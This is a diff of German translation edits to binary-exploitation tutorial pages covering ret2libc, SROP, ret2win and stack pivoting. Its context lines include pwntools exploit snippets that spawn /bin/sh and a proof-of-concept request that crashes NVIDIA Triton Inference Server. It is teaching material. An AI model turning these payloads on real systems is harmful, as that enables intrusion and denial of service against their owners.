+Dann wird die **Adresse** des Gadgets `POP_RDI` gesetzt, sodass die nächste Adresse (`FUNC_GOT`) im **RDI**-Register gespeichert wird. Das liegt daran, dass wir **puts aufrufen** wollen, indem wir ihm die **Adresse** von `PUTS_GOT` übergeben, da die Adresse im Speicher der puts-Funktion in der Adresse gespeichert ist, die auf `PUTS_GOT` zeigt.\
-Danach wird `PUTS_PLT` aufgerufen (mit `PUTS_GOT` im **RDI**), sodass puts den **Inhalt** innerhalb von `PUTS_GOT` (**die Adresse der puts-Funktion im Speicher**) **liest** und **ausgibt**.\
+Danach wird `PUTS_PLT` aufgerufen (mit `PUTS_GOT` im **RDI**), sodass puts den **Inhalt** in `PUTS_GOT` (**die Adresse der puts-Funktion im Speicher**) **liest** und **ausgibt**.\
 Schließlich wird die **Hauptfunktion erneut aufgerufen**, damit wir das Überlauf erneut ausnutzen können.
 
 Auf diese Weise haben wir die **puts-Funktion** **getäuscht**, um die **Adresse** im **Speicher** der Funktion **puts** (die sich in der **libc**-Bibliothek befindet) **auszugeben**. Jetzt, da wir diese Adresse haben, können wir **herausfinden, welche libc-Version verwendet wird**.
@@ -136,14 +136,14 @@ Auf diese Weise haben wir die **puts-Funktion** **getäuscht**, um die **Adresse
 Da wir einige **lokale** Binärdateien **ausnutzen**, ist es **nicht nötig**, herauszufinden, welche Version von **libc** verwendet wird (einfach die Bibliothek in `/lib/x86_64-linux-gnu/libc.so.6` finden).\
 Aber in einem Fall von Remote-Exploitation erkläre ich hier, wie Sie es finden können:
 
-### 3.1- Suche nach libc-Version (1)
+### 3.1- Suche nach der libc-Version (1)
 
 Sie können suchen, welche Bibliothek auf der Webseite verwendet wird: [https://libc.blukat.me/](https://libc.blukat.me)\
 Es wird Ihnen auch ermöglichen, die entdeckte Version von **libc** herunterzuladen.
 
 ![](<../../../../images/image (221).png>)
 
-### 3.2- Suche nach libc-Version (2)
+### 3.2- Suche nach der libc-Version (2)
 
 Sie können auch Folgendes tun:
 
@@ -155,7 +155,7 @@ Das wird einige Zeit in Anspruch nehmen, seien Sie geduldig.\
 Damit dies funktioniert, benötigen wir:
 
 - Libc-Symbolname: `puts`
-- Geleakte libc-Adresse: `0x7ff629878690`
+- Leaked libc-Adresse: `0x7ff629878690`
 
 Wir können herausfinden, welche **libc** höchstwahrscheinlich verwendet wird.
 ```bash
@@ -197,7 +197,7 @@ libc.address = leak - libc.symbols[func_name] #Save libc base
 log.info("libc base @ %s" % hex(libc.address))
 ```
 > [!TIP]
-> Beachten Sie, dass **die endgültige libc-Basisadresse mit 00 enden muss**. Wenn das nicht der Fall ist, haben Sie möglicherweise eine falsche Bibliothek geleakt.
+> Beachte, dass **die endgültige libc-Basisadresse mit 00 enden muss**. Wenn das nicht der Fall ist, hast du möglicherweise eine falsche Bibliothek geleakt.
 
 Dann werden die Adresse der Funktion `system` und die **Adresse** des Strings _"/bin/sh"_ von der **Basisadresse** der **libc** berechnet und der **libc-Bibliothek** gegeben.
 ```python
@@ -219,10 +219,10 @@ p.sendline(rop2)
 p.interactive() #Interact with the conenction
 ```
 Lass uns dieses letzte ROP erklären.\
-Das letzte ROP (`rop1`) hat erneut die Hauptfunktion aufgerufen, dann können wir die **Overflow** erneut **ausnutzen** (deshalb ist der `OFFSET` hier wieder). Dann wollen wir `POP_RDI` aufrufen, das auf die **Adresse** von _"/bin/sh"_ (`BINSH`) zeigt, und die **system**-Funktion (`SYSTEM`) aufrufen, da die Adresse von _"/bin/sh"_ als Parameter übergeben wird.\
+Das letzte ROP (`rop1`) hat erneut die Hauptfunktion aufgerufen, dann können wir **wieder ausnutzen** den **Überlauf** (deshalb ist der `OFFSET` hier wieder). Dann wollen wir `POP_RDI` aufrufen, das auf die **Adresse** von _"/bin/sh"_ (`BINSH`) zeigt und die **system**-Funktion (`SYSTEM`) aufrufen, da die Adresse von _"/bin/sh"_ als Parameter übergeben wird.\
-Schließlich wird die **Adresse der Exit-Funktion** **aufgerufen**, damit der Prozess **schön beendet** wird und keine Warnung generiert wird.
+Schließlich wird die **Adresse der Exit-Funktion** **aufgerufen**, damit der Prozess **schön endet** und keine Warnung generiert wird.
 
-**So wird der Exploit eine _/bin/sh_ Shell ausführen.**
+**Auf diese Weise wird der Exploit eine _/bin/sh_ Shell ausführen.**
 
 ![](<../../../../images/image (165).png>)
 

src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md

@@ -43,7 +43,7 @@ Start              End                Offset             Perm Path
 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
 ```
-### Schreiben von Zeichenfolgen im Speicher
+### Schreiben Sie eine Zeichenfolge im Speicher
 
 Dann müssen Sie einen Weg finden, um beliebige Inhalte an dieser Adresse zu schreiben.
 ```python

src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md

@@ -19,7 +19,7 @@ Beachten Sie, dass dies eine **Art von Ret2syscall** wäre, die es viel einfache
 ../rop-syscall-execv/
 {{#endref}}
 
-Wenn Sie neugierig sind, hier ist die **sigcontext-Struktur**, die im Stack gespeichert wird, um später die Werte wiederherzustellen (Diagramm von [**hier**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
+Wenn Sie neugierig sind, dies ist die **sigcontext-Struktur**, die im Stack gespeichert wird, um später die Werte wiederherzustellen (Diagramm von [**hier**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
 ```
 +--------------------+--------------------+
 | rt_sigeturn()      | uc_flags           |
@@ -128,13 +128,13 @@ target.interactive()
 - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
 - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
 - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
-- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, einen [**ret2syscall**](../rop-syscall-execv/index.html) über eine **sigreturn** Struktur auf den Stack zu schreiben und das Flag zu lesen, das sich im Speicher der Binärdatei befindet.
+- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, auf den Stack einen [**ret2syscall**](../rop-syscall-execv/index.html) über eine **sigreturn** Struktur zu schreiben und das Flag zu lesen, das sich im Speicher der Binärdatei befindet.
 - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
-- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, einen [**ret2syscall**](../rop-syscall-execv/index.html) über eine **sigreturn** Struktur auf den Stack zu schreiben (die Binärdatei enthält die Zeichenkette `/bin/sh`).
+- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, auf den Stack einen [**ret2syscall**](../rop-syscall-execv/index.html) über eine **sigreturn** Struktur zu schreiben (die Binärdatei enthält die Zeichenkette `/bin/sh`).
 - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
 - 64 Bit, kein relro, kein canary, nx, kein pie. Einfacher Buffer Overflow, der die `gets` Funktion ausnutzt, mit einem Mangel an Gadgets, die einen [**ret2syscall**](../rop-syscall-execv/index.html) ausführen. Die ROP-Kette schreibt `/bin/sh` in die `.bss`, indem sie `gets` erneut aufruft, sie missbraucht die **`alarm`** Funktion, um eax auf `0xf` zu setzen, um ein **SROP** aufzurufen und eine Shell auszuführen.
 - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
-- 64-Bit-Assembly-Programm, kein relro, kein canary, nx, kein pie. Der Fluss ermöglicht es, in den Stack zu schreiben, mehrere Register zu steuern und einen Syscall aufzurufen und dann `exit` aufzurufen. Der ausgewählte Syscall ist ein `sigreturn`, der Register setzen und `eip` verschieben wird, um eine vorherige Syscall-Anweisung aufzurufen und `memprotect` auszuführen, um den Binärspeicher auf `rwx` zu setzen und den ESP im Binärspeicher zu setzen. Folgt man dem Fluss, wird das Programm `read` erneut in den ESP aufrufen, aber in diesem Fall wird der ESP auf die nächste Anweisung zeigen, sodass das Übergeben eines Shellcodes es als die nächste Anweisung schreiben und ausführen wird.
+- 64-Bit-Assembly-Programm, kein relro, kein canary, nx, kein pie. Der Fluss ermöglicht es, in den Stack zu schreiben, mehrere Register zu steuern und einen Syscall aufzurufen, und dann wird `exit` aufgerufen. Der ausgewählte Syscall ist ein `sigreturn`, der Register setzen und `eip` verschieben wird, um eine vorherige Syscall-Anweisung aufzurufen und `memprotect` auszuführen, um den Binärspeicher auf `rwx` zu setzen und den ESP im Binärspeicher zu setzen. Folgt man dem Fluss, wird das Programm erneut `read` in den ESP aufrufen, aber in diesem Fall wird der ESP auf die nächste Anweisung zeigen, sodass das Übergeben eines Shellcodes es als die nächste Anweisung schreiben und ausführen wird.
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
 - SROP wird verwendet, um Ausführungsprivilegien (memprotect) an den Ort zu geben, an dem ein Shellcode platziert wurde.
 

src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md

@@ -136,7 +136,7 @@ In dem Abschnitt **`vdso`** ist es möglich, einen Aufruf zu **`sigreturn`** im
 
 <figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
 
-Daher ist es, falls geleakt, möglich, **diese Adresse zu verwenden, um auf ein `sigreturn`** zuzugreifen, wenn die Binärdatei es nicht lädt:
+Daher ist es, falls geleakt, möglich, **diese Adresse zu verwenden, um auf ein `sigreturn`** zuzugreifen, wenn die Binary es nicht lädt:
 ```python
 from pwn import *
 
@@ -191,7 +191,7 @@ rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigret
 ```
 Beide Werkzeuge verstehen **AArch64** Kodierungen und listen Kandidaten `mov x8, 0x8b ; svc #0` Sequenzen auf, die als *SROP Gadget* verwendet werden können.
 
-> Hinweis: Wenn Binärdateien mit **BTI** kompiliert werden, ist die erste Anweisung jedes gültigen indirekten Sprungziels `bti c`. `sigreturn` Trampolines, die vom Linker platziert werden, enthalten bereits das richtige BTI-Landingpad, sodass das Gadget aus nicht privilegiertem Code weiterhin verwendbar bleibt.
+> Hinweis: Wenn Binärdateien mit **BTI** kompiliert werden, ist die erste Anweisung jedes gültigen indirekten Sprungziels `bti c`. `sigreturn` Trampolines, die vom Linker platziert werden, enthalten bereits das richtige BTI-Landingpad, sodass das Gadget aus unprivilegiertem Code weiterhin verwendbar bleibt.
 
 ## Verknüpfung von SROP mit ROP (Pivot über `mprotect`)
 
@@ -205,7 +205,7 @@ frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
 frame.sp = 0x400000 + 0x100        # new pivot
 frame.pc = svc_call                # will re-enter kernel
 ```
-Nach dem Senden des Frames können Sie eine zweite Stufe mit rohem Shell-Code bei `0x400000+0x100` senden. Da **AArch64** *PC-relative* Adressierung verwendet, ist dies oft bequemer als das Erstellen großer ROP-Ketten.
+Nach dem Senden des Frames können Sie eine zweite Phase mit rohem Shell-Code bei `0x400000+0x100` senden. Da **AArch64** *PC-relative* Adressierung verwendet, ist dies oft bequemer als das Erstellen großer ROP-Ketten.
 
 ## Kernelvalidierung, PAC & Shadow-Stacks
 
@@ -215,11 +215,11 @@ Linux 5.16 führte eine strengere Validierung von Benutzersignal-Frames ein (Com
 * Das reservierte Wort in `struct rt_sigframe` muss null sein.
 * Jeder Zeiger im *extra_context* Datensatz ist ausgerichtet und zeigt innerhalb des Benutzeradressraums.
 
-`pwntools>=4.10` erstellt konforme Frames automatisch, aber wenn Sie sie manuell erstellen, stellen Sie sicher, dass Sie *reserviert* null-initialisieren und den SVE-Datensatz weglassen, es sei denn, Sie benötigen ihn wirklich—ansonsten liefert `rt_sigreturn` `SIGSEGV`, anstatt zurückzukehren.
+`pwntools>=4.10` erstellt konforme Frames automatisch, aber wenn Sie sie manuell erstellen, stellen Sie sicher, dass Sie *reserviert* null-initialisieren und den SVE-Datensatz weglassen, es sei denn, Sie benötigen ihn wirklich – andernfalls liefert `rt_sigreturn` `SIGSEGV`, anstatt zurückzukehren.
 
-Beginnend mit dem Mainstream Android 14 und Fedora 38 wird der Userland standardmäßig mit **PAC** (*Pointer Authentication*) und **BTI** aktiviert kompiliert (`-mbranch-protection=standard`). *SROP* selbst ist nicht betroffen, da der Kernel `PC` direkt aus dem erstellten Frame überschreibt und so den authentifizierten LR, der auf dem Stack gespeichert ist, umgeht; jedoch muss jede **nachfolgende ROP-Kette**, die indirekte Sprünge ausführt, zu BTI-aktivierten Anweisungen oder PACed-Adressen springen. Behalten Sie das im Hinterkopf, wenn Sie Gadgets auswählen.
+Beginnend mit dem Mainstream Android 14 und Fedora 38 wird der Userland standardmäßig mit **PAC** (*Pointer Authentication*) und **BTI** aktiviert kompiliert (`-mbranch-protection=standard`). *SROP* selbst ist nicht betroffen, da der Kernel `PC` direkt aus dem erstellten Frame überschreibt und den authentifizierten LR, der auf dem Stack gespeichert ist, umgeht; jedoch muss jede **nachfolgende ROP-Kette**, die indirekte Sprünge ausführt, zu BTI-aktivierten Anweisungen oder PACed-Adressen springen. Denken Sie daran, dies bei der Auswahl von Gadgets zu berücksichtigen.
 
-Shadow-Call-Stacks, die in ARMv8.9 eingeführt wurden (und bereits in ChromeOS 1.27+ aktiviert sind), sind eine Compiler-Ebene-Minderung und *beeinträchtigen* SROP nicht, da keine Rückgabebefehle ausgeführt werden—der Kontrollfluss wird vom Kernel übertragen.
+Shadow-Call-Stacks, die in ARMv8.9 eingeführt wurden (und bereits in ChromeOS 1.27+ aktiviert sind), sind eine Compiler-Ebene Minderung und *beeinträchtigen* SROP nicht, da keine Rückgabebefehle ausgeführt werden – der Kontrollfluss wird vom Kernel übertragen.
 
 ## Referenzen
 

src/binary-exploitation/stack-overflow/README.md

@@ -4,7 +4,7 @@
 
 ## Was ist ein Stack Overflow
 
-Ein **Stack Overflow** ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als ihm zugewiesen sind. Diese überschüssigen Daten werden **benachbarte Speicherbereiche überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von schädlichem Code führt. Dieses Problem tritt häufig aufgrund der Verwendung unsicherer Funktionen auf, die keine Grenzkontrollen für Eingaben durchführen.
+Ein **Stack Overflow** ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als ihm zugewiesen sind. Diese überschüssigen Daten werden **benachbarte Speicherbereiche überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von schädlichem Code führt. Dieses Problem tritt häufig aufgrund der Verwendung unsicherer Funktionen auf, die keine Grenzkontrolle für Eingaben durchführen.
 
 Das Hauptproblem bei diesem Überschreiben ist, dass der **gespeicherte Befehlszeiger (EIP/RIP)** und der **gespeicherte Basiszeiger (EBP/RBP)**, um zur vorherigen Funktion zurückzukehren, **auf dem Stack gespeichert sind**. Daher wird ein Angreifer in der Lage sein, diese zu überschreiben und **den Ausführungsfluss des Programms zu steuern**.
 
@@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer);
 
 Die häufigste Methode, um Stack Overflows zu finden, besteht darin, eine sehr große Eingabe von `A`s zu geben (z. B. `python3 -c 'print("A"*1000)'`) und einen `Segmentation Fault` zu erwarten, der anzeigt, dass die **Adresse `0x41414141` versucht wurde zuzugreifen**.
 
-Darüber hinaus, sobald Sie festgestellt haben, dass es eine Stack Overflow-Sicherheitsanfälligkeit gibt, müssen Sie den Offset finden, bis es möglich ist, die **Rücksprungadresse zu überschreiben**. Dafür wird normalerweise eine **De Bruijn-Sequenz** verwendet. Diese ist für ein gegebenes Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge _n_ genau einmal** als zusammenhängende Teilsequenz erscheint.
+Darüber hinaus, sobald Sie festgestellt haben, dass es eine Stack Overflow-Sicherheitsanfälligkeit gibt, müssen Sie den Offset finden, bis es möglich ist, die **Rücksprungadresse zu überschreiben**. Dazu wird normalerweise eine **De Bruijn-Sequenz** verwendet. Diese ist für ein gegebenes Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge _n_ genau einmal** als zusammenhängende Teilsequenz erscheint.
 
 Auf diese Weise ist es anstelle von Hand erforderlich, herauszufinden, welcher Offset benötigt wird, um das EIP zu steuern, möglich, als Padding eine dieser Sequenzen zu verwenden und dann den Offset der Bytes zu finden, die es überschrieben haben.
 
@@ -53,11 +53,11 @@ pattern search $rsp #Search the offset given the content of $rsp
 Während eines Überlaufs (vorausgesetzt, die Überlaufgröße ist groß genug) werden Sie in der Lage sein, **Werte von lokalen Variablen im Stack zu überschreiben**, bis Sie das gespeicherte **EBP/RBP und EIP/RIP (oder sogar mehr)** erreichen.\
 Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die **Rücksprungadresse zu modifizieren**, sodass, wenn die Funktion endet, der **Kontrollfluss dorthin umgeleitet wird, wo der Benutzer in diesem Zeiger angegeben hat**.
 
-In anderen Szenarien könnte es jedoch ausreichen, einfach **einige Variablenwerte im Stack zu überschreiben**, um die Ausnutzung zu erreichen (wie bei einfachen CTF-Herausforderungen).
+In anderen Szenarien könnte es jedoch ausreichen, **einige Variablenwerte im Stack zu überschreiben**, um die Ausnutzung zu erreichen (wie bei einfachen CTF-Herausforderungen).
 
 ### Ret2win
 
-In dieser Art von CTF-Herausforderungen gibt es eine **Funktion**, die **im** Binärprogramm **nie aufgerufen wird** und die **Sie aufrufen müssen, um zu gewinnen**. Für diese Herausforderungen müssen Sie nur den **Offset finden, um die Rücksprungadresse zu überschreiben**, und **die Adresse der Funktion finden**, die aufgerufen werden soll (normalerweise wäre [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass, wenn die verwundbare Funktion zurückkehrt, die versteckte Funktion aufgerufen wird:
+In dieser Art von CTF-Herausforderungen gibt es eine **Funktion**, die **im** Binärprogramm **nie aufgerufen wird** und die **Sie aufrufen müssen, um zu gewinnen**. Für diese Herausforderungen müssen Sie nur den **Offset finden, um die Rücksprungadresse zu überschreiben**, und **die Adresse der Funktion finden**, die aufgerufen werden soll (in der Regel wäre [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass, wenn die verwundbare Funktion zurückkehrt, die versteckte Funktion aufgerufen wird:
 
 
 {{#ref}}
@@ -75,7 +75,7 @@ stack-shellcode/
 
 ### ROP & Ret2... Techniken
 
-Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen Technik zu umgehen: **Nicht ausführbarer Stack (NX)**. Und sie ermöglicht die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die dazu führen, dass beliebige Befehle ausgeführt werden, indem vorhandene Anweisungen im Binärprogramm ausgenutzt werden:
+Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen Technik zu umgehen: **Kein ausführbarer Stack (NX)**. Und sie ermöglicht die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die dazu führen, dass beliebige Befehle ausgeführt werden, indem vorhandene Anweisungen im Binärprogramm ausgenutzt werden:
 
 
 {{#ref}}
@@ -125,9 +125,9 @@ Auch wenn Stack-Canaries den Prozess abbrechen, erhält ein Angreifer dennoch ei
 * Immer eine **maximale Feldbreite** angeben (z.B. `%511s`).
 * Bevorzugen Sie sicherere Alternativen wie `snprintf`/`strncpy_s`.
 
-### Real-World Beispiel: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
+### Real-World-Beispiel: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
 
-NVIDIA’s Triton Inference Server (≤ v25.06) enthielt mehrere **stack-basierte Überläufe**, die über seine HTTP-API erreichbar waren. 
+Der NVIDIA Triton Inference Server (≤ v25.06) wies mehrere **stack-basierte Überläufe** auf, die über seine HTTP-API erreichbar waren. 
 Das anfällige Muster trat wiederholt in `http_server.cc` und `sagemaker_server.cc` auf:
 ```c
 int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
@@ -166,9 +166,9 @@ s.close()
 if __name__ == "__main__":
 exploit(*sys.argv[1:])
 ```
-Eine ~3 MB-Anfrage reicht aus, um die gespeicherte Rücksprungadresse zu überschreiben und den Daemon in einer Standardkonfiguration **abzustürzen**.
+Eine ~3 MB-Anfrage reicht aus, um die gespeicherte Rücksprungadresse zu überschreiben und den Daemon in einer Standardkonfiguration zu **crashen**.
 
-#### Patch & Minderung
+#### Patch & Mitigation
 Die Version 25.07 ersetzt die unsichere Stapelzuweisung durch ein **heap-unterstütztes `std::vector`** und behandelt `std::bad_alloc` elegant:
 ```c++
 std::vector<evbuffer_iovec> v_vec;

src/binary-exploitation/stack-overflow/ret2win/README.md

@@ -4,7 +4,7 @@
 
 ## Grundinformationen
 
-**Ret2win**-Herausforderungen sind eine beliebte Kategorie in **Capture The Flag (CTF)**-Wettbewerben, insbesondere bei Aufgaben, die **binary exploitation** beinhalten. Das Ziel ist es, eine Schwachstelle in einem gegebenen Binary auszunutzen, um eine spezifische, nicht aufgerufene Funktion innerhalb des Binaries auszuführen, die oft etwas wie `win`, `flag` usw. genannt wird. Diese Funktion gibt, wenn sie ausgeführt wird, normalerweise ein Flag oder eine Erfolgsmeldung aus. Die Herausforderung besteht typischerweise darin, die **Rücksprungadresse** auf dem Stack zu überschreiben, um den Ausführungsfluss zur gewünschten Funktion umzuleiten. Hier ist eine detailliertere Erklärung mit Beispielen:
+**Ret2win**-Herausforderungen sind eine beliebte Kategorie in **Capture The Flag (CTF)**-Wettbewerben, insbesondere bei Aufgaben, die **binary exploitation** beinhalten. Das Ziel ist es, eine Schwachstelle in einem gegebenen Binary auszunutzen, um eine bestimmte, nicht aufgerufene Funktion innerhalb des Binaries auszuführen, die oft etwas wie `win`, `flag` usw. genannt wird. Diese Funktion gibt, wenn sie ausgeführt wird, normalerweise ein Flag oder eine Erfolgsmeldung aus. Die Herausforderung besteht typischerweise darin, die **Rücksprungadresse** auf dem Stack zu überschreiben, um den Ausführungsfluss zur gewünschten Funktion umzuleiten. Hier ist eine detailliertere Erklärung mit Beispielen:
 
 ### C-Beispiel
 
@@ -39,7 +39,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 
 ### Python Exploit mit Pwntools
 
-Für den Exploit verwenden wir **pwntools**, ein leistungsstarkes CTF-Framework zum Schreiben von Exploits. Das Exploit-Skript wird eine Payload erstellen, um den Puffer zu überlaufen und die Rücksprungadresse mit der Adresse der `win`-Funktion zu überschreiben.
+Für den Exploit verwenden wir **pwntools**, ein leistungsstarkes CTF-Framework zum Schreiben von Exploits. Das Exploit-Skript erstellt eine Payload, um den Puffer zu überlaufen und die Rücksprungadresse mit der Adresse der `win`-Funktion zu überschreiben.
 ```python
 from pwn import *
 
@@ -70,7 +70,7 @@ Das Python-Skript sendet eine sorgfältig gestaltete Nachricht, die, wenn sie vo
 ## Schutzmaßnahmen
 
 - [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **sollte deaktiviert sein**, damit die Adresse über verschiedene Ausführungen hinweg zuverlässig ist, da die Adresse, an der die Funktion gespeichert wird, nicht immer gleich sein wird und Sie einen Leak benötigen würden, um herauszufinden, wo die win-Funktion geladen ist. In einigen Fällen, wenn die Funktion, die den Überlauf verursacht, `read` oder ähnlich ist, können Sie eine **Teilweise Überschreibung** von 1 oder 2 Bytes durchführen, um die Rücksprungadresse auf die win-Funktion zu ändern. Aufgrund der Funktionsweise von ASLR sind die letzten drei hexadezimalen Nibbles nicht randomisiert, sodass es eine **1/16 Chance** (1 Nibble) gibt, die korrekte Rücksprungadresse zu erhalten.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert sein, da die kompromittierte EIP-Rücksprungadresse niemals befolgt wird.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert werden, da die kompromittierte EIP-Rücksprungadresse niemals gefolgt wird.
 
 ## Weitere Beispiele & Referenzen
 

src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md

@@ -136,7 +136,7 @@ p.close()
 ```
 <figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Ein weiteres Off-by-One-Beispiel in ARM64 finden Sie unter [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), das ein echtes Off-by-**one** in einer fiktiven Schwachstelle ist.
+Sie finden ein weiteres Off-by-One-Beispiel in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), das ein echtes Off-by-**one** in einer fiktiven Schwachstelle ist.
 
 ## Mit PIE
 

src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -22,15 +22,15 @@ Und da das gespeicherte **EBP/RBP im Stack** vor dem gespeicherten EIP/RIP liegt
 
 Diese Technik ist besonders nützlich, wenn Sie **das gespeicherte EBP/RBP ändern, aber keinen direkten Weg haben, EIP/RIP zu ändern**. Sie nutzt das Verhalten des Funktionsepilogs.
 
-Wenn Sie während der Ausführung von `fvuln` es schaffen, ein **falsches EBP** im Stack zu injizieren, das auf einen Bereich im Speicher zeigt, wo sich die Adresse Ihres Shellcodes/ROP-Ketten befindet (plus 8 Bytes auf amd64 / 4 Bytes auf x86, um das `pop` zu berücksichtigen), können Sie RIP indirekt kontrollieren. Wenn die Funktion zurückkehrt, setzt `leave` RSP auf die gestaltete Adresse und das nachfolgende `pop rbp` verringert RSP, **was effektiv auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde**. Dann verwendet `ret` diese Adresse.
+Wenn Sie während der Ausführung von `fvuln` es schaffen, ein **falsches EBP** im Stack zu injizieren, das auf einen Bereich im Speicher zeigt, wo sich die Adresse Ihres Shellcodes/ROP-Ketten befindet (plus 8 Bytes auf amd64 / 4 Bytes auf x86, um für das `pop` zu rechnen), können Sie RIP indirekt kontrollieren. Wenn die Funktion zurückkehrt, setzt `leave` RSP auf die gestaltete Adresse und das nachfolgende `pop rbp` verringert RSP, **was effektiv auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde**. Dann wird `ret` diese Adresse verwenden.
 
-Beachten Sie, dass Sie **2 Adressen wissen müssen**: die Adresse, zu der ESP/RSP gehen wird, und den Wert, der an dieser Adresse gespeichert ist und von `ret` konsumiert wird.
+Beachten Sie, dass Sie **2 Adressen wissen müssen**: die Adresse, zu der ESP/RSP gehen wird, und den Wert, der an dieser Adresse gespeichert ist, den `ret` konsumieren wird.
 
 #### Exploit-Konstruktion
 
 Zuerst müssen Sie eine **Adresse kennen, an die Sie beliebige Daten/Adressen schreiben können**. RSP wird hierhin zeigen und **den ersten `ret` konsumieren**.
 
-Dann müssen Sie die Adresse wählen, die von `ret` verwendet wird, um die **Ausführung zu übertragen**. Sie könnten verwenden:
+Dann müssen Sie die Adresse wählen, die von `ret` verwendet wird, um **die Ausführung zu übertragen**. Sie könnten verwenden:
 
 - Eine gültige [**ONE_GADGET**](https://github.com/david942j/one_gadget) Adresse.
 - Die Adresse von **`system()`**, gefolgt von der entsprechenden Rückkehr und Argumenten (auf x86: `ret` Ziel = `&system`, dann 4 Junk-Bytes, dann `&"/bin/sh"`).
@@ -45,7 +45,7 @@ Es gibt eine Variante, die verwendet wird, wenn Sie **nur das am wenigsten signi
 
 Es ist auch üblich, einen RET-Sled im Stack zu verwenden und die echte ROP-Kette am Ende zu platzieren, um die Wahrscheinlichkeit zu erhöhen, dass das neue RSP innerhalb des Sleds zeigt und die endgültige ROP-Kette ausgeführt wird.
 
-### EBP-Chaining
+### EBP-Verkettung
 
 Indem Sie eine kontrollierte Adresse im gespeicherten `EBP`-Slot des Stacks platzieren und ein `leave; ret` Gadget in `EIP/RIP`, ist es möglich, **`ESP/RSP` zu einer vom Angreifer kontrollierten Adresse zu bewegen**.
 
@@ -96,11 +96,11 @@ pause()
 p.sendline(payload)
 print(p.recvline())
 ```
-> amd64 Alignment-Tipp: System V ABI erfordert eine 16-Byte-Stack-Ausrichtung an Aufrufstellen. Wenn Ihre Kette Funktionen wie `system` aufruft, fügen Sie ein Ausrichtungs-Gadget hinzu (z. B. `ret` oder `sub rsp, 8 ; ret`) vor dem Aufruf, um die Ausrichtung aufrechtzuerhalten und `movaps`-Abstürze zu vermeiden.
